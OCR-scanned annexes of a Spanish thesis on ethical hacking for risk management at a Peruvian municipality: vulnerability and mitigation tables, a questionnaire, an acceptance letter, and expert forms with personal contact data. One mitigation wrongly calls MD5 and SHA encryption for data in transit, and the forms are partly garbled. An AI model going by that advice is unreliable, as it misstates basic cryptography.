sistemas informaticos de la organizacion.

Riesgo Alto significa que se podria esperar
80-95 8 gue una amenaza tenga un efecto adverso
severo o catastrofico en las operaciones o

sistemas informaticos de la organizacion.

Riesgo Moderado significa que se podria
21-79 5 esperar una amenaza tenga un efecto
adverso grave en las operaciones 0

sistemas informaticos.

Riesgo Bajo significa que se podria
Bajo 5-20 2 esperar una amenaza tenga un efecto
adverso limitado en las operaciones o

sistemas informaticos.

Riesgo Muy Bajo significa que una
0-4 0 amenaza tenga un efecto adverso
insignificante en las operaciones o

sistemas informaticos.




Tabla 10: Numero de Riesgos Analizados

Indicador 2: NUmero de riesgos analizados (amenazas y vulnerabilidades)

Movimientos No se cuenta con un plan de
RO1 Teluricos continuidad de negocio.
Uso de medios | Infeccion de malware por medio de
de USB, discos duros externos. Alto Moderado
R0O2 almacenamiento
externos
Fuga de metadatos en documentos
electrénicos que se suben al portal Alto Muy Alto
Divulgacion de | web institucional.
RO3 Informacion No existen controles para la
confidencial encriptacion de informacion sensible, Alto Alto
cuando esta se encuentra
transmitiendo por la red.
No existe un Sistema de Gestion
Ausencia en para la Seguridad de Informacion,
Politicas de por lo que no se realiza un proceso Alto Muy Alto
RO4 Seguridad de evaluacion sobre el nivel de




Ausencia en implementacion y cumplimiento de
politicas de normas de seguridad.
seguridad
No se realizan evaluaciones de
seguridad en los sistemas Alto Muy Alto
informéticos mediante la técnica de
Ethical Hacking
Los equipos UPS no estan
RO5 implementados en su gran mayoria. Alto Alto
Falta de
monitoreo en Funcionamiento lento. Alto Moderado
los equipos
informéticos Dafio permanente en piezas bésicas Alto Moderado
de la computadora.
Network Time Protocol (NTP) Mode Alto Moderado
6 Scanner
Version de PHP desactualizado Alto Muy Alto
RO6 Software sin Exploit Eternalblue y Ransomware Alto Muy Alto

actualizaciéon

WannaCry




El Nombre de la comunidad SNMP

esta por defecto Alto Alto
Microsoft SQL Server Alto Muy Alto
desactualizado
Servidor Web Apache vulnerable a Alto Muy Alto
un atague se Denegacion de
Servicio
Falta de dispositivo biométrico en la
entrada del Data Center. Moderado Moderado
RO7 Accesos no Falta la instalacion de camaras de
autorizados videovigilancia en la Oficina de Moderado Bajo
Tecnologias de Informacion.
RO8 Falta de Ingenieria Social. Muy Alto Alto
capacitacion del
personal en Phishing. Muy Alto Alto
ciberseguridad
El firewall se encuentra desactivado. Alto Muy Alto

BAJO




R0O9

R0O9

Mala
configuracion

del sistema

Mala
configuracion
del sistema

DNS Server Cache Snooping Alto Moderado
Certificado SSL no puede ser Alto Moderado
verdadero

Métodos activados: HTTP TRACE /

TRACK Alto Moderado
Algoritmo débil de cifrado en SSH Alto Moderado
SNMP ‘GETBULK’ Reflection DDoS Alto Moderado
SMB no requiere registro Alto Moderado
Acceso a los protocolos SAM y Alto Moderado
LSAD sin credenciales

Credenciales por defecto FIREBIRD Alto Muy Alto
Capeta principal de Linux Accesible Alto Muy Alto
Informacion sensible se transmite en Alto Moderado
texto claro via HTTP

Informacién accesible de phpinfo() Alto Muy Alto
Clickjacking Alto Bajo

BAJO




Cookie sin HttpOnly Alto Bajo BAJO
Ataque de inicio de sesion con Alto Bajo BAJO
contrasefa

Falta de Man in the Middle. Alto Moderado

R10 encriptacion en
los datos




Mecanismos de Proteccion y Mitigaciéon del Riesgo

Después de establecer el nivel de riesgo en base a las amenazas y

vulnerabilidades, se procedio con el indicador N° 03: Namero de Riesgos Tratados,

donde se muestra los mecanismos de proteccion para cada riesgo, formado por

amenazay vulnerabilidad, con el objetivo de proteger la confidencialidad, integridad

y disponibilidad de la informacion.

Para la mitigacion del riesgo existen 4 posibles alternativas:

1.

Asumir. Se acepta el riesgo, ya sea por falta econémica de la Entidad u

otro factor.

2. Evitar. Se elimina la causa y potencial consecuencia del riesgo.

Reducir. Mediante la implementacion de controles para proteger la
seguridad y minimizar el impacto que podria causar.
Transferir.  Utilizar alternativas secundarias para soportar la

materializacion del riesgo. Ejemplo: Adquisicion de una pdliza de seguro.



Tabla 11: Numero de Riesgos Tratados

Indicador 3: NUmero de riesgos tratados (amenazas y vulnerabilidades)

Movimientos No se cuenta con un plan de continuidad | Tener copia de seguridad de ASUMIR
RO1 Teluricos de negocio. toda la informacion.
Uso de medios Infeccién de malware por medio de USB, | Bloquear los puertos USB en las
de discos duros externos. computadoras de escritorio.
R0O2 almacenamientos REDUCIR
externos
Divulgacioén de Fuga de metadatos en documentos Limpiar los metadatos de
Informacién electrénicos que se suben al portal web documentos que se van a subira | REDUCIR
confidencial institucional. internet
R3
Divulgacion de No existen controles para la encriptacion Utilizar algan algoritmo de
Informacion de informacién sensible, cuando esta se encriptacion (MD5, SHA) para la
confidencial encuentra transmitiendo por la red. informacion que viaja en la REDUCIR
Intranet




No existe un Sistema de Gestion para la

Implementar un Sistema de

Ausencia en Seguridad de Informacién, por lo que no Gestion de Seguridad de la
R0O4 Politicas de se realiza un proceso de evaluacion sobre | Informacién para todas las REDUCIR
Seguridad el nivel de implementacion y cumplimiento | areas y procesos de la
de normas de seguridad. organizacion.
No se realizan evaluaciones de seguridad | Se debe tener a un profesional
Ausencia en en los sistemas informéticos mediante la | en Ethical Hacking y
Politicas de técnica de Ethical Hacking. Ciberseguridad, el cual se REDUCIR
Seguridad encargue de identificar y mitigar
vulnerabilidades de seguridad en
los sistemas informaticos.
Los equipos UPS no estan Instalar equipo UPS para cada
implementados en su gran mayoria. equipo informéatico. REDUCIR
Falta de Funcionamiento lento. Formatear las computadoras por
RO5 monitoreo en los lo menos una vez al afo,
equipos limpiando el contenido REDUCIR
informaticos potencialmente no deseado.
Dafio permanente en piezas basicas de la | Brindar mantenimiento
computadora. preventivo a las computadoras REDUCIR

por lo menos una vez al afio.




Network Time Protocol (NTP) Mode 6

Actualizar el sistema a la versiéon
mas reciente

Scanner REDUCIR
Version de PHP desactualizado Actualizar a la versién més
reciente de PHP REDUCIR
R0O6 Software sin Exploit Eternalblue y Ransomware Actualizar a la versién de SMBv3
actualizacion WannaCry REDUCIR
El Nombre de la comunidad SNMP esté Actualizar a la version 3 de
por defecto SNMP REDUCIR
Microsoft SQL Server desactualizado La version de Microsoft SQL
Server en el host esta REDUCIR
desactualizado y ya no deberia
utilizarse
Servidor Web Apache vulnerable a un Actualizar una version mas REDUCIR
ataque se Denegacion de Servicio reciente de Apache
Falta de dispositivo biométrico en la Instalar un dispositivo biométrico
entrada del Data Center. y configurarlo para el personal REDUCIR
Accesos no autorizado.
RO7 autorizados Falta la instalacion de cadmaras de Instalar camaras en un punto
videovigilancia en la Oficina de estratégico para que se pueda REDUCIR

Tecnologias de Informacion.

monitorear toda la actividad que

sucede en las 24 horas del dia.




R0O8

Falta de
capacitacion del
personal en

ciberseguridad

Ingenieria Social.

Conocer las técnicas de
manipulacion que utilizan los
hackers para evitar divulgar
informacion confidencial

inconscientemente.

REDUCIR

Phishing.

Verificar minuciosamente cada
correo electrénico, el remitente,
las URL y documentos, ya que
podrian estar infectadas por

algun malware.

REDUCIR

R09

Mala
configuracion del

sistema

El Firewall se encuentra desactivado.

Activar el firewall del servidor, ya
gue este protege el sistema
contra multiples amenazas. En el
caso de que el firewall activado
no permita la ejecucion de
algunas aplicaciones internas de
la entidad, agregar los puertos
respectivos al servidor para su

normal funcionamiento.

REDUCIR

DNS Server Cache Snooping

Se deberia deshabilitar la

recursividad en el servidor DNS,




R0O9

Mala
configuracion del

sistema

pero esto debe tomarse en REDUCIR
funcioén por la cual esta
configurado el servidor DNS.

Certificado SSL no puede ser verdadero Comprar un certificado SSL REDUCIR
adecuado para el servicio.

Métodos activados: HTTP TRACE / Desactivar los métodos HTTP REDUCIR

TRACK TRACE / TRACK

Algoritmo débil de cifrado en SSH Quitar la compatibilidad con el REDUCIR
algoritmo de cifrado RC4.

SNMP ‘GETBULK’ Reflection DDoS Cambiar la comunidad “publica” REDUCIR
por otra.

SMB no requiere registro Modificar el registro para cambiar | REDUCIR
la configuracion.

Acceso a los protocolos SAM y LSAD sin | Actualizar el sistema operativo. REDUCIR

credenciales

Credenciales por defecto FIREBIRD Cambiar la contrasefia. REDUCIR

Capeta principal de Linux Accesible Restringir el acceso solo para REDUCIR

usuarios autorizados.




Informacidn sensible se transmite en texto | Encriptar la transmision de REDUCIR
claro via HTTP informacion via SSL/TLS
Informacion accesible de phpinfo() Desactivar la funcién de REDUCIR
R0O9 Mala phpinfo().
configuracion del | Clickjacking Habilitar X-Frame-Options en REDUCIR
sistema Apache
Cookie sin HttpOnly Cambiar la configuracion en REDUCIR
php.ini
Ataque de inicio de sesidn con contrasefia | Implementar bloqueo de cuenta REDUCIR
después de un numero definido
de intentos de contrasefias
incorrectas
Crear contrasefias complejas,
Falta de Ataque a contrasefias gue contengan letras mayusculas | REDUCIR
R10 encriptacion en y minusculas, numeros,

los datos

caracteres especiales.




Tabla 12: Numero de Mecanismos para la Proteccion de la Seguridad Fisica

Indicador 4: NUmero de mecanismos para la proteccion de la seguridad fisica

NO

Mecanismo

Descripcion

01

Proteccién de equipos informaticos

Los equipos deberian estar ubicados y protegidos para
reducir los riesgos de amenazas, como, por ejemplo, polvo,

humedad, entre otros.

02

Instalaciones de suministro

Los equipos se deberian proteger contra fallas de energia,

se podrian adquirir UPS y reguladores de energia eléctrica.

03

Acceso al Data Center

El acceso al Data Center solo debe ser por el personal
autorizado que pertenece a la Oficina de Tecnologias de
Informacién y debe autentificarse mediante algun

dispositivo biométrico.

04

Mantenimiento de los equipos informaticos

Se deben realizar mantenimiento preventivo de todos los
equipos dos veces por afo, tanto en la parte de hardware y

actualizacion del sistema operativo.

05

Perimetro de seguridad fisica

Se deberian definir y usar perimetros de seguridad y
usarlos para proteger areas que contengan informacion

sensible o critica.




Anexo 02: Instrumento de recoleccién de datos
Cuestionario

Estimado, con el presente cuestionario se pretende obtener datos respecto a la
gestion de riesgos en los sistemas informaticos, para lo cual le solicito su
colaboracion, respondiendo a todas las preguntas con la mayor sinceridad
posible. La informacion obtenida permitira proponer sugerencias para mejorar la
gestion de riesgos de seguridad de la informacién.

Marque con una (x) la alternativa que considera pertinente en cada pregunta.

ESCALA VALORATIVA
CODIGO CATEGORIA VALOR
S Siempre 5
CS Casi Siempre 4
AV A veces 3
CN Casi Nunca 2
N Nunca 1




VARIABLE: GESTION DE RIESGOS

Indicador 01: Numero de riesgos S
identificados

CS

AV

CN

En el caso de producirse un movimiento telurico y
destruya los sistemas informaticos ¢Se cuenta

con un plan de continuidad de negocio?

¢Los puertos USB estdn activados en las

computadoras?

¢ Se limpian los metadatos de archivos que se van

a subir al portal web?

¢ Existen Politicas de Seguridad en los sistemas

informaticos?

;Se realizan monitoreos de los sistemas

informaticos constantemente?

Indicador 02: Numero de riesgos analizados. | S

CS

AV

CN

¢ El sistema operativo y software se encuentra

actualizado?

¢ El personal esta capacitado en temas de

ciberseguridad?

¢, Se realizan pruebas de Ethical Hacking en los

sistemas informaticos?

¢, Se transmiten las contrasefias de modo seguro

mediante el uso de cifrado?

10

¢ Los sistemas requieren una fortaleza de
contrasefias establecido mediante reglas?
*Longitud minima de la contrasefia

*Imponen reglas de complejidad (mayusculas,

minudsculas, nimeros, simbolos, etc).

Indicador 03: Numero de riesgos tratados. S

CS

AV

CN

11

¢, Hay medios para comunicar informacion de tales

incidentes a la organizacion?




12

¢ Se documenta las acciones tomadas para

resolver y finalmente cerrar un incidente?

13

¢Hay un proceso de evaluacién / investigaciéon
para identificar incidentes de impacto

recurrentes?

14

¢, Se aprovecha la informacion obtenida de la
evaluacibon de incidentes para  evitar

recurrencias?

15

¢, Se esta aprendiendo de forma proactiva de
incidentes, mejorando los conocimientos de

riesgo y los controles de seguridad?

Indicador: NOmero de mecanismos para la
proteccién de la seguridad fisica.

CS

AV

CN

16

¢ Las politicas son razonablemente completas y
cubren todos los riesgos de informacion y areas

de control relevantes?

17

¢ Estan las politicas bien escritas, legible,

razonable y viable?

18

¢, Cubren todos los activos de informacién

esenciales, sistemas, servicios, etc.?

19

¢Lainformacion que se transmite en la red

interna esta encriptada?

20

Para el ingreso al Data Center. ¢ Existe algun
mecanismo de autentificacién, como, por

ejemplo, lector biométrico?




Anexo 03: Carta de aceptacion del trabajo de investigacion

MUNICIPALIDAD PROVINCIAL DE MOYOBAMBA

Sefior: Christian Omar Espinoza Araujo.

Presente:

Asunto: Aceptacién del Producto Terminado

Moyobamba, 29 de noviembre de 20 19

MUNICIPALIDAD FROVINGIAL DE MOYOBAMBA
OFiCiINA DE SEGURIDAD CIUDADANA
RECEROION
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VLWLV LU

La presente tiene como finalidad hacer del conocimiento de usted que en base a su

investigacién de Tesis titulada: “Implementacién de Ethical Hacking para mejorar la

Gestion de Riesgos en los Sistemas Informaticos de la Municipalidad Provincial de

Moyobamba”.

Se expide la presente aceptando el informe que se entregé a la Oficina de Tecnologias

de Informacion de la Municipalidad Provincial de Moyobamba, en el cual se encuentra

la investigacién de la tesis del estudiante: Christian Omar Espinoza Araujo del X ciclo de

la Carrera Profesional de Ingenieria de Sistemas de la Universidad Cesar Vallejo — Trujillo.

Es cuanto informo a usted para su conocimiento y los fines que estime necesarios.

Atentamente

MUNICIPALIDAD PROVINCIAL
DEMOYOBAMBA
MESA DE PARTES

Hora - =ile) é
Fecha L 1= - £
N°Regd.22G 13- 22 LY 24

Jefe de la Oficlpa de Tecnologias de Informacién




Anexo 04: Validaciéon del instrumento de recoleccion de datos

WUCV

PLANTILLAS PARA LA EVALUACION DE INSTRUMENTOS
DE RECOLECCION DE DATOS

1. IDENTIFICACION DEL EXPERTO

NOMBRE DEL EXPERTO: EDWin RAVL ME)VQZ& TORRE.S

oni_[81F621] PROFESION: _ZW G . ZLPORMAT ((~
LUGAR DE TRABAIO: __ /CV/

CARGO QUE DESEMPENA: _DOCENTR—T. 2.

DIRECCION: _TILudLL D

Tewerono Fo: 099 67763 S movi:_9S6333526S
DIRECCION ELECTRONICA: € /7en S OES @ ome//: o nt
FECHA DE EVAWACION: 26 09/ (9 "

FIRMA DEL EXPERTO: 4%

2. PLANILLA DE VALIDACION DEL INSTRUMENTO
CRITERIOS APRECIACION CUAUTATIVA ]
EXCELENTE (4) | BUENO (3) REGULAR (2) | DEFICIENTE (1)

Presentacion del
instrumento
Claridad en la redaccién
de los items
Pertinencia de las
variables con los
indicadores
Relevancia del
contenido
Factibilidad de la
icacion

APRECIACION  CUALITATIVA;

AN

AR X X Px

OBSERVACIONES:




3. JUICIO DE EXPERTOS:

* En lineas generales, considera Ud. que los indicadores de las variables estdn
inmersos en su contexto teérico de forma:

MEDIANAMENTE
SUW SURICIENTE | INSUFICIENTE

OBSERVACION:

* Considera que los reactivos del cuestionario miden los indicadores seleccionados
para |a variable de manera:

MEDIANAMENTE
SUW o INSUFICIENTE

OBSERVACION:

* El instrumento disefiado mide la variable de manera:

MEDIANAMENTE
suBsiedTe SURCIENTE | 'NSUFICIENTE

¢ Elinstrumento disefiado es:




xxxxxxzzxxxg

i

!

2035 s

SR




Qucy
Eiioed
PLANTILLAS PARA LA EVALUACION DE INSTRUMENTOS

DE RECOLECCION DE DATOS

1. IDENTIFICACION DEL EXPERTO

3 t—

oni_(B126 745 proresion: /V}) ote

LUGAR DE TRABAJO: ve v.

CARGO QUE DESEMPERA: p.T.&

DIRECCION: Ao Jarcs /770

i SIS, MowiL:_ 7Y/ 703830
DIRECCION ELECTRONICA: _____© afcanfere @ Loy . ecly e

7
FECHA DE EVALUACION: _/2/ > %/ 20(9

FIRMA DEL EXPERTO:

2. PLANILLA DE VALIDACION DEL INSTRUMENTO

APRECIACION CUALITATIVA

EXCELENTE (4) REGULAR (2) | DEFICIENTE (1)

Presentacion del
instrumento

Claridad en la redaccién
de los items

Pertinencia de las
variables con los
indicadores

Relevancia del
contenido

Factibilidad de la
aplicacion

bl B >§>‘~§
]

APRECIACION CUALITATIVA:

~ OBSERVACIONES:




3. JUICIO DE EXPERTOS:

* En lineas generales, considera Ud. que los indicadores de las variables estan
inmersos en su contexto tedrico de forma:

SUEENTE

MEDIANAMENTE
SUFICIENTE

INSUFICIENTE

* Considera que los reactivos del cuestionario miden los indicadores seleccionados

para la variable de manera:
st h@&! MEDIANAMENTE
SUFICIENTE INSUFICIENTE

OBSERVACION:

* Elinstrumento diseflado mide la variable de manera:

S

MEDIANAMENTE
SUFICIENTE

INSUFICIENTE

OBSERVACION:

Elinstrumento disefiado es:




4. VAUDACION DEL INSTRUMENTO:

01 | X

1

17
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PLANTILLAS PARA LA EVALUACION DE INSTRUMENTOS
DE RECOLECCION DE DATOS

1. IDENTIFICACION DEL EXPERTO

NOMBRE DEL ExpErTo: CV ERSON DAUZD AGREDA GAHROA

DNI_[B161457 PROFESION: __ZNGENZERO DE SISCEMAS

LUGAR DE TRABAJO: ___ ONT — UCV

cARGO QuE DEsEmpeRA: _ Directer de Eccoela de Tug. Sivkemes UNT
pimeccion: Loy Secamiof 252 — Urb. Calbipomia

TELEFONO FIIO:_OU4< - 413732 Movi: 266243259
DIRECCION ELECTRONICA: __edag— Ouy © hetdvnai (.com

FECHA DE EVALUACION: _((/ /o [2ot1a
FIRMA DEL EXPERTO: @‘ﬁ‘

2. PLANILLA DE VAUDACION DEL INSTRUMENTO
_ APRECIACION CUAUITATIVA

EXCELENTE(Q) BUENO (3) | REGULAR (2) | DEFICIENTE (1).

Presentacion del
_instrumento X
Claridad en la redaccion
de los items
Pertinencia de las
variables con los
indicadores

X
X
Relevancia del X
X

|
{ CRITERIOS

contenido
Factibilidad de la
aplicacion

APRECIACION CUALITATIVA: ___1>Ueno

OBSERVACIONES:




3. JUICIO DE EXPERTOS:

En lineas generales, considera Ud. que los indicadores de las variables estan
Inmersos en su contexto tedrico de forma:

SUFIQETE IMES%";'O"E“N"%“ INSUFICIENTE |

OBSERVACION:

Considera que los reactivos del cuestionario miden los indicadores seleccionados
para la variable de manera:

MEDIANAMENTE !
SUFIIENTE e INSUFICIENTE ]f

OBSERVACION:

. EIMstmmentodbeﬂadonddelanriwiedemmem:

l SUFI TE [ SUFICIENTE IWINSUFICIENTE ]

OBSERVACION:

* Elinstrumento disefiado es: A CePTABLE




4. VAUDACION DEL INSTRUMENTO:

MODIFICAR

dah.r-’a doce: . .’._Q_nq)’frﬂfﬁ'co...'

b
KX

VPN 5= ot o Sepmantoue

digbscia dacir: Vel iwicar seyion.. Lt

Prowrar feswme

digbaria dece: ¥ ey mecomisnes do Gomumass”

|
!
!
i

-
><>§K, x_;xgxxx spxpe | Daix

COMO LO MODIFICARIA

b R

ﬁ;w an‘éQ,
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